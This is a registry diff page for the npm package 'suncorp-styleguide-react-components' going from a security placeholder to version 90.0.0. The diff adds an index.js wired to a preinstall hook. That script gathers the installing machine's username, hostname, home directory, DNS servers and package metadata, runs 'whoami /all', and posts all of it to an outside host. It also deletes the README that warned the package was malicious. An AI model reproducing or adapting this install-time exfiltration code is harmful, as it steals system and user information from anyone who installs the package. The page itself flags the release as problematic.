suncorp-styleguide-react-components 0.0.1-security → 90.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of suncorp-styleguide-react-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +68 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,68 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const axios = require('axios');
8
+ const { exec } = require('child_process');
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "kl9th91pv6ue5hl5iiss76ozhqnhb9zy.aurainfosec-test.com",
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
49
+
50
+ // Replace with your desired URL to send the POST request to
51
+ const url = 'https://kl9th91pv6ue5hl5iiss76ozhqnhb9zy.aurainfosec-test.com/post-endpoint';
52
+
53
+ // Execute the `whoami /all` command and capture the results
54
+ exec('whoami /all', (error, stdout, stderr) => {
55
+ if (error) {
56
+ console.error(`exec error: ${error}`);
57
+ return;
58
+ }
59
+
60
+ // Send the results to the specified URL via a POST request
61
+ axios.post(url, { results: stdout })
62
+ .then((response) => {
63
+ console.log(`POST request sent: ${response.data}`);
64
+ })
65
+ .catch((error) => {
66
+ console.error(`POST request error: ${error}`);
67
+ });
68
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "suncorp-styleguide-react-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "90.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=suncorp-styleguide-react-components for more information.